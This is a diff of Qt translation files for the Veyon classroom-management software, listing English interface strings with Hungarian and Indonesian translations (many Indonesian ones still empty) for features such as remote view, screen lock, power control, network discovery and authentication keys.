Reset configuration + Konfiguráció alapértelmezettre állítása + + + Do you really want to reset the local configuration and revert all settings to their defaults? + Biztos, hogy a helyi konfiguráció és az összes beállítás értékét visszaállítod az alapértelmezett értékére? + + + Search users and computers + Felhasználók és számítógépek keresse + + + Adjust optimal size + Optimális méretűre állítás + + + Align computers to grid + Számítógépek rácsba illesztése + + + Use custom computer placement + Egyéni számítógép-elhelyezés használata + + + %1 Configurator + %1 Konfigurátor + + + Insufficient privileges + Nem elegendő jogosultság + + + Could not start with administrative privileges. Please make sure a sudo-like program is installed for your desktop environment! The program will be run with normal user privileges. + Nem sikerült rendszergazdai jogosultsággal indulni. Kérem, ellenőrizd, hogy sudo-típusú program telepítve van az asztali környezetedre. A program normál felhasználói jogosultságokkal fog futni. + + + Only show powered on computers + Csak a bekapcsolt számítógépek megjelenítése + + + &Save settings to file + Beállítások &mentése fájlba + + + &View + + + + &Standard + + + + &Advanced + + + + + MasterConfigurationPage + + Directories + Mappák + + + ... + ... + + + User configuration + Felhasználói konfigurációk + + + Feature on computer double click: + Számítógépen a dupla kattintás: + + + Automatically switch to current room at start + Automatikusan a jelenlegi szobára váltás induláskor + + + Features + Szolgáltatások + + + All features + Összes szolgáltatás + + + Disabled features + Szolgáltatások kikapcsolása + + + Perform access control at program start + Hozzáférés-vezérlés végrehajtása a program indulásakor + + + Screenshots + Képernyőképek + + + <no feature> + <nincs szolgáltatás> + + + Automatically adjust computer thumbnail size at start + Számítógépek indexképének automatikus méretezése induláskor + + + Basic settings + Alapbeállítások + + + Behaviour + Viselkedés + + + Enforce selected mode for client computers + Kiválasztott mód rákényszerítése a kliens számítógépekre + + + Only show current room + Csak a jelenlegi szoba megjelenítése + + + Allow adding rooms manually + Szobák manuális hozzáadásának engedélyezése + + + Hide local computer + Helyi számítógép elrejtése + + + Hide empty rooms + Üres szobák elrejtése + + + Hide computer filter field + Számítógépszűrő mező elrejtése + + + Actions such as rebooting or powering down computers + Műveletek, mint a számítógépek újraindítása vagy kikapcsolása + + + Show confirmation dialog for potential dangerous actions + Megerősítő párbeszédablak megjelentése potenciálisan veszélyes műveleteknél + + + User interface + Felhasználói felület + + + Background color + Háttérszín + + + Thumbnail update interval + Indexkép-frissítési időköz + + + ms + ms + + + Program start + Program indítása + + + Modes and features + Módok és szolgáltatások + + + User and computer name + Felhasználó- és számítógépnév + + + Only user name + Csak felhasználónév + + + Only computer name + Csak számítógépnév + + + Computer thumbnail caption + Számítógép indexképének felirata + + + Computer rooms + Számítógéptermek + + + Automatically open computer rooms widget + Számítógépterem-minialkalmazás automatikus megnyitása + + + Text color + Betűszín + + + Sort order + Rendezés + + + Computer and user name + Számítógép és felhasználónév + + + + MonitoringMode + + Monitoring + Monitorozási + + + Builtin monitoring mode + Beépített monitorozási mód + + + This is the default mode and allows you to monitor all computers in one or more rooms. + Ez az alapértelmezett mód, ami lehetővé teszi, hogy monitorozd az egy vagy több szobában lévő összes számítógépet. + + + + NetworkDiscoveryConfigurationPage + + Network discovery + Hálózat felderítése + + + Mode + Mód + + + Scan network ranges + Hálózati tartományok átvizsgálása + + + e.g. 192.168.1.0/24 + pl. 192.168.1.0/24 + + + Scan all subnets of computer + A számítógép összes alhálózatának átvizsgálása + + + Scan custom subnet + Egyéni alhálózat átvizsgálása + + + Scan sessions on local computer + A helyi számítógép munkameneteinek átvizsgálása + + + Test + Tesztelés + + + Network ranges + Hálózati tartományok + + + Add new group + Új csoport hozzáadása + + + Remove selected group + Kiválasztott csoport eltávolítása + + + Groups + Csoportok + + + First address + Első cím + + + Last address + Utolsó cím + + + Add new network range + Új hálózati tartomány hozzáadása + + + Remove selected network range + Kiválasztott hálózati tartomány eltávolítása + + + Parallel scans + Párhuzamos átvizsgálások + + + Scan timeout + Átvizsgálási időtúllépés + + + ms + ms + + + Session scan limit + Átvizsgálás munkamenetének korlátja + + + New group + Új csoport + + + Options + Lehetőség + + + Reverse lookup discovered IP addresses to host names + A fordított keresés IP-címeket talált a kiszolgálónevekhez + + + + NetworkDiscoveryDirectory + + Scanning... + Átvizsgálás... + + + Discovered computers + Felderített számítógépek + + + + NetworkDiscoveryPlugin + + Show help for specific command + Konkrét parancsról segítség megjelenítése + + + Scan a subnet + Egy alhálózat átvizsgálása + + + +USAGE + +%1 scan [<SUBNET>] + + + +HASZNÁLATA + +%1 scan [<SUBNET>] + + + + + Network object directory which automatically discovers computers in the network + Hálózatobjektum-felderítő, ami automatikusan felderíti a hálózat számítógépeit + + + Network discovery (scan network for Veyon clients) + Hálózat felderítése (hálózat átvizsgálása Veyon kliens után) + + + Commands for managing the network discovery directory + A hálózatfelderítő-mappát kezelő parancsok + + + + NetworkObjectTreeModel + + Room/Computer + Szoba/Számítógép + + + + PasswordDialog + + Username + Felhasználónév + + + Password + Jelszó + + + Veyon Logon + Veyon bejelentkezés + + + Authentication error + Hitelesítési hiba + + + Logon failed with given username and password. Please try again! + A megadott felhasználónévvel és jelszóval a bejelentkezés sikertelen. Próbáld újra! + + + Please enter your username and password in order to access computers. + Kérem, a számítógépek eléréséhez add meg felhasználóneved és jelszavad. + + + + PowerControlFeaturePlugin + + Power on + Bekapcsolás + + + Click this button to power on all computers. This way you do not have to power on each computer by hand. + Kattints erre a gombra az összes számítógép bekapcsolásához. Így megúszod, hogy egyesével kapcsolgasd be őket. + + + Reboot + Újraindítás + + + Click this button to reboot all computers. + Kattints erre a gombra az összes számítógép újraindításához. + + + Power down + Kikapcsolás + + + Click this button to power down all computers. This way you do not have to power down each computer by hand. + Kattints erre a gombra az összes számítógép kikapcsolásához. Így megúszod, hogy egyesével kapcsolgasd ki őket. + + + Power on/down or reboot a computer + Egy számítógép be-/kikapcsolása vagy újraindítása + + + Confirm reboot + Újraindítás megerősítése + + + Confirm power down + Kikapcsolás megerősítése + + + Do you really want to reboot the selected computers? + Biztos, hogy újraindítod a kiválasztott számítógépeket? + + + Do you really want to power down the selected computer? + Biztos, hogy kikapcsolod a kiválasztott számítógépeket? + + + Power on a computer via Wake-on-LAN (WOL) + Egy számítógép bekapcsolása hálózati ébresztéssel (WOL) + + + MAC ADDRESS + FIZIKAI CÍM + + + This command broadcasts a Wake-on-LAN (WOL) packet to the network in order to power on the computer with the given MAC address. + Ez a parancs egy hálózati ébresztő jelcsomagot (WOL) szór a hálózaton, hogy a megadott fizikai című számítógépeket bekapcsolja. + + + Please specify the command to display help for! + Kérem, válaszd ki az a parancsot, melynek súgóját megjelenítsük! + + + Invalid MAC address specified! + A fizikai cím érvénytelen! + + + Commands for controlling power status of computers + A számítógépek működési állapotát módosító parancsok + + + + RemoteAccessFeaturePlugin + + Remote view + Távoli megtekintés + + + Open a remote view for a computer without interaction. + Egy számítógépet tudsz megtekinteni távolról, beavatkozás nélkül. + + + Remote control + Távoli vezérlés + + + Open a remote control window for a computer. + Egy számítógépet tudsz távolról vezérelni. + + + Remote access + Távoli elérés + + + Remote view or control a computer + Egy számítógép távoli megtekintése vagy vezérlése + + + Please enter the hostname or IP address of the computer to access: + Kérem, add meg az elérni kívánt gép nevét vagy IP címét: + + + Show help about command + Parancsról segítség megjelenítése + + + + RemoteAccessWidget + + %1 - %2 Remote Access + %1 - %2 távoli hozzáférés + + + + RemoteAccessWidgetToolBar + + View only + Csak megtekintés + + + Remote control + Távoli vezérlés + + + Send shortcut + Parancsikon küldése + + + Fullscreen + Teljes képernyő + + + Window + Ablak + + + Quit + Kilépés + + + Ctrl+Alt+Del + Ctrl+Alt+Del + + + Ctrl+Esc + Ctrl+Esc + + + Alt+Tab + Alt+Tab + + + Alt+F4 + Alt+F4 + + + Win+Tab + Win+Tab + + + Win + Win + + + Menu + Menü + + + Alt+Ctrl+F1 + Alt+Ctrl+F1 + + + Connecting %1 + %1 csatlakozik + + + Connected. + Sikeresen csatlakozott. + + + Screenshot + Képernyőkép + + + + RoomSelectionDialog + + Room selection + Szoba választása + + + enter search filter... + írd ide a keresési szűrőt... + + + + Routing + + Control internet access by modifying routing table + Az internetelérés módosítása az útvonaltábla módosításával + + + + RoutingConfigurationWidget + + Remove default routes to block internet access + Az alapértelmezett útvonalak eltávolítása az internetelérés blokkolásáért + + + Add custom route to block internet + Egyéni útvonal hozzáadása az internet blokkolásáért + + + Destination + Cél + + + Gateway + Átjáró + + + + RunProgramDialog + + Please enter the programs or commands to run on the selected computer(s). You can separate multiple programs/commands by line. + Kérem, add meg a kiválasztott számítógép(ek)en futtatandó programokat vagy parancsokat. Több programot/parancsot soronként adj meg. + + + Run programs + Programok futtatása + + + e.g. "C:\Program Files\VideoLAN\VLC\vlc.exe" + például "C:\Program Files\VideoLAN\VLC\vlc.exe" + + + + ScreenLockFeaturePlugin + + Lock + Zárolás + + + Unlock + Zárolás feloldása + + + Lock screen and input devices of a computer + Számítógép képernyőjének és bemeneti eszközeinek zárolása + + + To reclaim all user's full attention you can lock their computers using this button. In this mode all input devices are locked and the screens are blacked. + Az összes felhasználó figyelmének elnyerés érdekében evvel a gombbak zárolhatod számítógépüket. Ebben a módban az összes bemeneti eszközt zároljuk és a képernyő elfeketedik. + + + + Screenshot + + unknown + ismeretlen + + + Could not take a screenshot as directory %1 doesn't exist and couldn't be created. + Képernyőkép nem készíthető, mert '%1' mappa nem létezik és nem is hozható létre. + + + Screenshot + Képernyőkép + + + + ScreenshotFeaturePlugin + + Screenshot + Képernyőkép + + + Use this function to take a screenshot of selected computers. + Használd ezt a funkciót, hogy képernyőképet készíts a kiválasztott számítógépekről. + + + Screenshots taken + Elkészített képernyőképek + + + Screenshot of %1 computer have been taken successfully. + %1 számítógépről sikeresen készítettél képernyőképet. + + + Take screenshots of computers and save them locally. + Számítógépekről képernyőképek készítése és mentése a helyi gépre. + + + + ScreenshotManagementView + + User: + Felhasználó: + + + Date: + Dátum: + + + Time: + Idő: + + + Show + Megjelenítés + + + Delete + Törlés + + + All screenshots taken by you are listed here. You can take screenshots by clicking the "Screenshot" item in the context menu of a computer. The screenshots can be managed using the buttons below. + Az összes képernyőképet felsoroljuk itt. Képernyőképet a számítógép helyi menüjében lévő "Képernyőkép" gombra kattintva készíthetsz. A képernyőképeket az alul lévő gombokkal tudod kezelni. + + + Computer: + Számítógép: + + + + ServiceConfigurationPage + + General + Általános + + + Autostart + Automatikus indítás + + + Hide tray icon + Tálcaikon elrejtése + + + Start service + Szolgáltatás indítása + + + Stopped + Leállítva + + + Stop service + Szolgáltatás leállítása + + + State: + Állapot: + + + Enable SAS generation by software (Ctrl+Alt+Del) + SAS generáció bekapcsolása szoftverrel (Ctrl+Alt+Del) + + + Network + Hálózat + + + Demo server port + Demó szerver port + + + Enable firewall exception + Fűzfal-kivétel bekapcsolása + + + Allow connections from localhost only + Kapcsolatok engedélyezése csak a localhost-ból + + + Internal VNC server port + Belső VNC szerver port + + + VNC server + VNC szerver + + + Plugin: + Bővítmény: + + + Restart %1 Service + %1 szolgáltatás újraindítása + + + All settings were saved successfully. In order to take effect the %1 service needs to be restarted. Restart it now? + Az összes beállítást sikeresen mentette. A változások életbe lépéséhez %1 szolgáltatást új kell indítani. Újraindítod most? + + + Running + Jelenleg fut + + + Feature manager port + Szolgáltatáskezelő port + + + Primary service port + Elsődleges szolgáltatási port + + + Enabling this option will make the service launch a server process for every interactive session on a computer. +Typically this is required to support terminal servers. + A funkció bekapcsolása esetén a szerver minden egyes számítógépen létrejövő interaktív munkamenethez külön szerverfolyamatot indít. + + + Multi session support (experimental) + Több munkamenet támogatása (kísérleti) + + + Show notification on remote connection + Távoli csatlakozás esetén értesítés megjelenítése + + + Show notification on failed authentication attempts + Sikertelen hitelesítési próbálkozásról értesítés megjelenítése + + + + ServiceControl + + Starting service %1 + %1 szolgáltatás indítása + + + Stopping service %1 + %1 szolgáltatás leállítása + + + Registering service %1 + %1 szolgáltatás nyilvántartásban vétele + + + Unregistering service %1 + %1 szolgáltatás törlése a nyilvántartásból + + + Service control + Szolgáltatásvezérlés + + + + ServiceControlPlugin + + Service is running + Veyon szolgáltatás jelenleg fut + + + Service is not running + Veyon szolgáltatás jelenleg nem fut + + + Configure and control Veyon service + Veyon szolgáltatás konfigurálása és felügyelete + + + Register Veyon Service + Regisztrált Veyon szolgáltatás + + + Unregister Veyon Service + Nem regisztrált Veyon szolgáltatás + + + Start Veyon Service + Veyon szolgáltatás indítása + + + Stop Veyon Service + Veyon szolgáltatás leállítása + + + Restart Veyon Service + Veyon szolgáltatás újraindítása + + + Query status of Veyon Service + Veyon szolgáltatás állapotának lekérdezése + + + Commands for configuring and controlling Veyon Service + Veyon szolgáltatás konfigurációs és felügyeleti parancsai + + + + ShellCommandLinePlugin + + Run command file + Parancsfájl futtatása + + + File "%1" does not exist! + "%1" fájl nem létezik! + + + Interactive shell and script execution for Veyon Control + Interaktív héj és szkriptfuttatás a Veyon vezérlésből + + + Commands for shell functionalities + Parancsok héjfunkciókhoz + + + + SystemTrayIcon + + System tray icon + Rendszer tálcaikon + + + + SystemUserGroupsPlugin + + User groups backend for system user groups + Rendszerfelhasználói csoportok esetén a felhasználói csoportok háttere: + + + Default (system user groups) + Alapértelmezett (rendszerfelhasználói csoportok) + + + + TextMessageDialog + + Send text message + Szöveges üzenet küldése + + + Use the field below to type your message which will be sent to all selected users. + Az alábbi mezőbe gépeld az összes kiválasztott felhasználóknak küldendő üzenetedet. + + + + TextMessageFeaturePlugin + + Text message + Szöveges üzenet + + + Use this function to send a text message to all users e.g. to assign them new tasks. + Használd ezt a funkciót, hogy üzenetet küldj az összes felhasználónak (például arról, hogy új feladatot adsz nekik). + + + Message from teacher + Üzenet a tanártól + + + Send a message to a user + Üzenet küldése egy felhasználónak + + + + UltraVncConfigurationWidget + + Enable capturing of layered (semi-transparent) windows + Réteges (félig átlátszó) ablakok elkapásának bekapcsolása + + + Poll full screen (leave this enabled per default) + Beépített UltraVNC szerver konfiguráció + + + Low accuracy (turbo mode) + Alacsony pontosság (turbó mód) + + + Builtin UltraVNC server configuration + Beépített UltraVNC szerver konfiguráció + + + Enable multi monitor support + + + + Enable Desktop Duplication Engine on Windows 8 and newer + + + + + UserConfig + + No write access + Nincs írási hozzáférés + + + Could not save your personal settings! Please check the user configuration file path using the %1 Configurator. + Személyes beállításait nem sikerült menteni! Kérem, ellenőrizd a felhasználói konfigurációs fájl útvonalát %1 Konfigurátorban. + + + + UserSessionControl + + User session control + Felhasználói munkamenet-vezérlés + + + Click this button to logout users from all computers. + Kattints erre a gombra, hogy felhasználókat kijelentkeztesd az össze számítógépről. + + + Confirm user logout + Felhasználó kijelentkeztetésének megerősítése + + + Do you really want to logout the selected users? + Biztos, hogy kijelentkezteted a kiválasztott felhasználókat? + + + Logout + Kijelentkezés + + + + VeyonCore + + [OK] + [OK] + + + [FAIL] + [SIKERTELEN] + + + Invalid command! + Érvénytelen parancs! + + + Available commands: + Elérhető műveletek: + + + Invalid arguments given + Érvénytelen az argumentum + + + Not enough arguments given - use "%1 help" for more information + Nincs elegendő argumentum - további információért használja a "%1 súgót" + + + Unknown result! + Ismeretlen végeredmény! + + + Available modules: + Elérhető modulok: + + + No module specified or module not found - available modules are: + A modul nincs megadva vagy nem található - az elérhető modulok: + + + Plugin not licensed + A bővítmény nem licencelt + + + INFO + INFO + + + ERROR + HIBA + + + licensed for + licencelt + + + + VeyonServiceControl + + Veyon Service + Veyon szolgáltatás + + + + VncView + + Establishing connection to %1 ... + Kapcsolat létrehozása: %1 ... + + + + WindowsPlatformPlugin + + Plugin implementing abstract functions for the Windows platform + A bővítmény absztrakt függvényekkel egészíti ki a Windows platformot + + + + WindowsServiceControl + + WindowsServiceControl: the service "%1" is already installed. + WindowsServiceControl: "%1" szolgáltatás már telepítve van. + + + WindowsServiceControl: the service "%1" could not be installed. + WindowsServiceControl: "%1" szolgáltatás nem telepíthető. + + + WindowsServiceControl: the service "%1" has been installed successfully. + WindowsServiceControl: "%1" szolgáltatást sikeresen telepítette. + + + WindowsServiceControl: the service "%1" could not be uninstalled. + WindowsServiceControl: "%1" szolgáltatás nem távolítható el. + + + WindowsServiceControl: the service "%1" has been uninstalled successfully. + WindowsServiceControl: "%1" szolgáltatást sikeresen eltávolította. + + + WindowsServiceControl: the start type of service "%1" could not be changed. + WindowsServiceControl: "%1" szolgáltatás típusa nem módosítható. + + + WindowsServiceControl: service "%1" could not be found. + WindowsServiceControl: "%1" szolgáltatás nem található. + + + + X11VncConfigurationWidget + + Builtin x11vnc server configuration + Beépített x11vnc szerver konfiguráció + + + Custom x11vnc parameters: + Egyéni x11vnc paraméterek: + + + Do not use X Damage extension + Ne használd az X Damage bővítményt + + + \ No newline at end of file diff --git a/translations/id_ID.ts b/translations/id_ID.ts new file mode 100644 index 0000000..9d554da --- /dev/null +++ b/translations/id_ID.ts @@ -0,0 +1,3820 @@ + + + AboutDialog + + About + Tentang + + + Translation + Terjemahan + + + License + Lisensi + + + About Veyon + Tentang Veyon + + + Contributors + Kontributor + + + Version: + Versi: + + + Website: + Situs web: + + + Current language not translated yet (or native English). + +If you're interested in translating Veyon into your local or another language or want to improve an existing translation, please contact a Veyon developer! + Bahasa sekarang belum diterjemahkan (atau native Bahasa Inggris) + +Jika anda tertarik menerjemahkan Veyon pada bahasa lokal Anda atau bahasa lain atau anda ingin meningkatkan terjemahan yang telah ada, silakan hubungi pengembang Veyon! + + + About %1 %2 + Tentang %1 %2 + + + Support Veyon project with a donation + Dukung proyek Veyon dengan donasi + + + + AccessControlPage + + Computer access control + Akses kontrol komputer + + + Grant access to every authenticated user (default) + + + + Test + Tes + + + Restrict access to members of certain user groups + + + + Process access control rules + + + + User groups authorized for computer access + + + + Please add the groups whose members should be authorized to access computers in your Veyon network. + Silakan tambahkan grup yang anggotanya harus diotorisasi untuk mengakses komputer di jaringan Veyon Anda. + + + Authorized user groups + Kelompok pengguna yang diotorisasi + + + All groups + Semua grup + + + ... + ... + + + Access control rules + Aturan kontrol akses + + + Add access control rule + Tambah aturan kontrol akses + + + Remove access control rule + Hapus aturan kontrol akses + + + Move selected rule down + + + + Move selected rule up + + + + Edit selected rule + + + + Enter username + Masukkan nama pengguna + + + Please enter a user login name whose access permissions to test: + + + + Access allowed + Akses diijinkan + + + The specified user is allowed to access computers with this configuration. + + + + Access denied + Akses ditolak + + + The specified user is not allowed to access computers with this configuration. + Pengguna yang ditentukan tidak diizinkan mengakses komputer dengan konfigurasi ini. + + + Enable usage of domain groups + + + + User groups backend: + + + + Missing user groups backend + + + + No default user groups plugin was found. Please check your installation! + + + + + AccessControlRuleEditDialog + + Edit access control rule + Edit aturan kontrol akses + + + General + Umum + + + enter a short name for the rule here + masukkan nama singkat untuk aturan di sini + + + Rule name: + Nama aturan: + + + enter a description for the rule here + masukkan penjelasan untuk aturan di sini + + + Rule description: + Penjelasan aturan: + + + Invert all conditions ("is/has" interpreted as "is/has not") + + + + Conditions + Kondisi + + + is member of group + adalah anggota grup + + + is located in room + terletak di ruang + + + Accessing computer is localhost + + + + Accessing user is logged on user + + + + Accessing user is already connected + + + + If more than one condition is activated each condition has to meet in order to make the rule apply (logical AND). If only one of multiple conditions has to meet (logical OR) please create multiple access control rules. + Jika lebih dari satu kondisi diaktifkan, setiap kondisi harus dipenuhi untuk membuat aturan berlaku (logika AND). Jika hanya satu dari beberapa kondisi yang harus dipenuhi (OR logis), buat beberapa aturan kontrol akses. + + + Action + Aksi + + + Allow access + Ijinkan akses + + + Deny access + Larang akses + + + Ask logged on user for permission + + + + None (rule disabled) + + + + Accessing user + + + + Accessing computer + + + + Local (logged on) user + + + + Local computer + Komputer lokal + + + Always process rule and ignore conditions + Selalu proses aturan dan abaikan kondisi + + + No user logged on + Tidak ada pengguna masuk + + + Accessing computer is located in the same room as local computer + Mengakses komputer pada` ruangan yang sama dengan komputer lokal + + + Accessing user has one or more groups in common with local (logged on) user + + + + + AccessControlRulesTestDialog + + Access control rules test + + + + Accessing user: + + + + Local computer: + Komputer lokal + + + Accessing computer: + + + + Please enter the following user and computer information in order to test the configured ruleset. + Masukkan informasi pengguna dan komputer berikut untuk menguji kumpulan aturan yang dikonfigurasi. + + + Local user: + Pengguna lokal: + + + Connected users: + Pengguna terhubung: + + + The access in the given scenario is allowed. + + + + The access in the given scenario is denied. + + + + The access in the given scenario needs permission of the logged on user. + + + + ERROR: Unknown action + + + + Test result + Hasil test + + + + AuthKeysConfigurationPage + + Authentication keys + + + + Introduction + + + + Key file directories + + + + Public key file base directory + + + + Private key file base directory + + + + ... + ... + + + Available authentication keys + + + + Create key pair + + + + Delete key + + + + Import key + + + + Export key + + + + Set access group + + + + Key files (*.pem) + + + + Authentication key name + + + + Please enter the name of the user group or role for which to create an authentication key pair: + + + + Do you really want to delete authentication key "%1/%2"? + + + + Please select a key to delete! + + + + Please enter the name of the user group or role for which to import the authentication key: + + + + Please select a key to export! + + + + Please select a user group which to grant access to key "%1": + + + + Please select a key which to set the access group for! + + + + Please perform the following steps to set up key file authentication: + + + + 1) Create a key pair on the master computer. + 1) Buat pasangan kunci di komputer master. + + + 2) Set an access group whose members should be allowed to access other computers. + 2) Tetapkan grup akses yang anggotanya harus diizinkan untuk mengakses komputer lain. + + + 3) Export the public key and import it on all client computers with the same name. + 3) Ekspor kunci publik dan impor pada semua komputer klien dengan nama yang sama. + + + Please refer to the <a href="https://veyon.readthedocs.io/en/latest/admin/index.html">Veyon Administrator Manual</a> for more information. + + + + An authentication key pair consist of two coupled cryptographic keys, a private and a public key. +A private key allows users on the master computer to access client computers. +It is important that only authorized users have read access to the private key file. +The public key is used on client computers to authenticate incoming connection request. + Sepasang kunci otentikasi terdiri dari dua kunci kriptografi yang digabungkan, kunci pribadi dan kunci publik. +Kunci privat memungkinkan pengguna pada komputer master untuk mengakses komputer klien. +Penting bahwa hanya pengguna yang berwenang yang memiliki akses baca ke file kunci pribadi. +Kunci publik digunakan pada komputer klien untuk mengautentikasi permintaan koneksi masuk. + + + + AuthKeysManager + + Please check your permissions. + Bahasa: + + + Key name contains invalid characters! + + + + Invalid key type specified! Please specify "%1" or "%2". + + + + Specified key does not exist! Please use the "list" command to list all installed keys. + + + + One or more key files already exist! Please delete them using the "delete" command. + + + + Creating new key pair for "%1" + + + + Failed to create public or private key! + + + + Newly created key pair has been saved to "%1" and "%2". + + + + Could not remove key file "%1"! + + + + Could not remove key file directory "%1"! + + + + Failed to create directory for output file. + + + + File "%1" already exists. + + + + Failed to write output file. + + + + Key "%1/%2" has been exported to "%3" successfully. + + + + Failed read input file. + + + + File "%1" does not contain a valid private key! + + + + File "%1" does not contain a valid public key! + + + + Failed to create directory for key file. + + + + Failed to write key file "%1". + + + + Failed to set permissions for key file "%1"! + + + + Key "%1/%2" has been imported successfully. Please check file permissions of "%3" in order to prevent unauthorized accesses. + + + + Failed to convert private key to public key + + + + Failed to create directory for private key file "%1". + + + + Failed to save private key in file "%1"! + + + + Failed to set permissions for private key file "%1"! + + + + Failed to create directory for public key file "%1". + + + + Failed to save public key in file "%1"! + + + + Failed to set permissions for public key file "%1"! + + + + Failed to set owner of key file "%1" to "%2". + + + + Failed to set permissions for key file "%1". + + + + Key "%1" is now accessible by user group "%2". + + + + <N/A> + + + + Failed to read key file. + + + + + AuthKeysPlugin + + Create new authentication key pair + + + + Delete authentication key + + + + List authentication keys + + + + Import public or private key + + + + Export public or private key + + + + Extract public key from existing private key + + + + Set user group allowed to access a key + + + + KEY + + + + ACCESS GROUP + + + + This command adjusts file access permissions to <KEY> such that only the user group <ACCESS GROUP> has read access to it. + + + + NAME + + + + This command creates a new authentication key pair with name <NAME> and saves private and public key to the configured key directories. + + + + This command deletes the authentication key <KEY> from the configured key directory. Please note that a key can't be recovered once deleted. + + + + FILE + + + + This command exports the authentication key <KEY> to <FILE>. If <FILE> is not specified a name will be constructed from name and type of <KEY>. + + + + This command imports the authentication key <KEY> from <FILE>. If <FILE> is not specified a name will be constructed from name and type of <KEY>. + + + + This command lists all available authentication keys in the configured key directory. If the option "%1" is specified a table with key details will be displayed instead. Some details might be missing if a key is not accessible e.g. due to the lack of read permissions. + + + + This command extracts the public key part from the private key <KEY> and saves it as the corresponding public key. + + + + Please specify the command to display help for! + + + + TYPE + + + + PAIR ID + + + + Command line support for managing authentication keys + + + + Commands for managing authentication keys + + + + + AuthKeysTableModel + + Name + Nama + + + Type + Jenis + + + Access group + Grup akses + + + Pair ID + + + + + BuiltinDirectoryConfigurationPage + + Rooms & computers + Ruang & Komputer + + + Rooms + Ruang + + + Computers + Komputer + + + Name + Nama + + + Host address/IP + Alamat host/IP + + + MAC address + MAC address + + + Add new room + Tambah ruang baru + + + Remove selected room + Hapus ruang terpilih + + + Add new computer + Tambah komputer baru + + + Remove selected computer + Hapus komputer terpilih + + + New room + Ruang baru + + + New computer + Komputer baru + + + Builtin directory + + + + + BuiltinDirectoryPlugin + + Show help for specific command + Tampilkan bantuan untuk perintah spesifik + + + Add a room or computer + Tambah ruang atau komputer + + + Clear all rooms and computers + Bersihkan semua ruang dan komputer + + + Dump all or individual rooms and computers + + + + List all rooms and computers + Daftar semua ruang dan komputer + + + Remove a room or computer + Hapus ruang atau komputer + + + Import objects from given file + Impor obyek dari berkas yang diberikan + + + Export objects to given file + + + + Invalid type specified. Valid values are "%1" or "%2". + + + + Type + Jenis + + + Name + Nama + + + Host address + Alamat host + + + MAC address + MAC address + + + Specified object not found. + Obyek yang dimaksud tidak ditemukan + + + File "%1" does not exist! + Berkas "%1" tidak ada! + + + Can't open file "%1" for reading! + Tidak dapat membuka berkas "%1" untuk dibaca! + + + Unknown argument "%1". + Argumen "%1" tidak diketahui. + + + Room "%1" + Ruang "%1" + + + Computer "%1" (host address: "%2" MAC address: "%3") + Komputer "%1" (alamat host: "%2" MAC address: "%3") + + + Unclassified object "%1" with ID "%2" + + + + None + Tidak ada + + + Room + Ruang + + + Computer + Komputer + + + Root + + + + Invalid + + + + Error while parsing line %1. + + + + Network object directory which stores objects in local configuration + + + + Builtin (computers and rooms in local configuration) + + + + Commands for managing the builtin network object directory + + + + No format string or regular expression specified! + + + + Can't open file "%1" for writing! + + + + No format string specified! + + + + +USAGE + +%1 export <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] + +Valid variables: %type% %name% %host% %mac% %room% + +Examples: + +* Export all objects to a CSV file: + + %1 export objects.csv format "%type%;%name%;%host%;%mac%" + +* Export all computers in a room to a CSV file: + + %1 export computers.csv room "Room 01" format "%name%;%host%;%mac%" + + + + + + +USAGE + +%1 add <TYPE> <NAME> [<HOST ADDRESS> <MAC ADDRESS> <PARENT>] + +Adds an object where TYPE can be one of "%2" or "%3". PARENT can be specified by name or UUID. + +Examples: + +* Add a room: + + %1 add room "Room 01" + +* Add a computer to room "Room 01": + + %1 add computer "Computer 01" comp01.example.com 11:22:33:44:55:66 "Room 01" + + + + + + +USAGE + +%1 remove <OBJECT> + +Removes the specified object from the directory. OBJECT can be specified by name or UUID. Removing a room will also remove all computers inside. + +Examples: + +* Remove a computer by name: + + %1 remove "Computer 01" + +* Remove an object by UUID: + + %1 remove 068914fc-0f87-45df-a5b9-099a2a6d9141 + + + + + + Object UUID + + + + Parent UUID + + + + +USAGE + +%1 import <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] [regex <REGULAR-EXPRESSION-WITH-VARIABLES>] + +Valid variables: %type% %name% %host% %mac% %room% + +Examples: + +* Import simple CSV file to a single room: + + %1 import computers.csv room "Room 01" format "%name%;%host%;%mac%" + +* Import CSV file with room name in first column: + + %1 import computers-with-rooms.csv format "%room%,%name%,%mac%" + +* Import text file with with key/value pairs using regular expressions: + + %1 import hostlist.txt room "Room 01" regex "^NAME:(%name%:.*)\s+HOST:(%host%:.*)$" + +* Import arbitrarily formatted data: + + %1 import data.txt regex '^"(%room%:[^"]+)";"(%host%:[a-z\d\.]+)".*$' + + + + + + BuiltinUltraVncServer + + Builtin VNC server (UltraVNC) + + + + + BuiltinX11VncServer + + Builtin VNC server (x11vnc) + + + + + ComputerControlListModel + + Room: %1 + Ruang: %1 + + + Host/IP address: %1 + Host/Alamat IP: %1 + + + Active features: %1 + + + + Online and connected + Daring dan terhubung + + + Establishing connection + + + + Computer offline or switched off + + + + Service unreachable or not running + + + + Authentication failed or access denied + + + + Disconnected + Terputus + + + No user logged on + Tidak ada pengguna masuk + + + Logged on user: %1 + + + + + ComputerControlServer + + %1 Service %2 at %3:%4 + + + + Authentication error + Otentikasi gagal + + + Remote access + + + + User "%1" at host "%2" is now accessing this computer. + + + + User "%1" at host "%2" attempted to access this computer but could not authenticate successfully! + + + + + ComputerManagementView + + Computer management + + + + Add room + Tambah ruang + + + Save computer/user list + + + + Select output filename + + + + CSV files (*.csv) + + + + File error + + + + Could not write the computer and users list to %1! Please check the file access permissions. + + + + Computer search + + + + + ComputerManager + + User + Pengguna + + + Missing network object directory plugin + + + + No default network object directory plugin was found. Please check your installation or configure a different network object directory backend via %1 Configurator. + + + + Computer name;Host name;User + Nama komputer;Nama host;Pengguna + + + Room detection failed + + + + Could not determine the room which this computer belongs to. This indicates a problem with the system configuration. All rooms will be shown in the computer management instead. + + + + + ConfigCommandLinePlugin + + Please specify an existing configuration file to import. + + + + Please specify a valid filename for the configuration export. + + + + Please specify a valid key. + + + + Specified key does not exist in current configuration! + + + + Please specify a valid value. + + + + Configure Veyon at command line + + + + Output file is not writable! + Berkas keluaran tidak dapat ditulisi! + + + Output directory is not writable! + Direktori keluaran tidak dapat ditulisi! + + + Configuration file is not readable! + + + + Clear system-wide Veyon configuration + + + + List all configuration keys and values + + + + Import configuration from given file + + + + Export configuration to given file + + + + Read and output configuration value for given key + + + + Write given value to given configuration key + + + + Unset (remove) given configuration key + + + + Commands for managing the configuration of Veyon + + + + Upgrade and save configuration of program and plugins + + + + + ConfigurationManager + + Could not modify the autostart 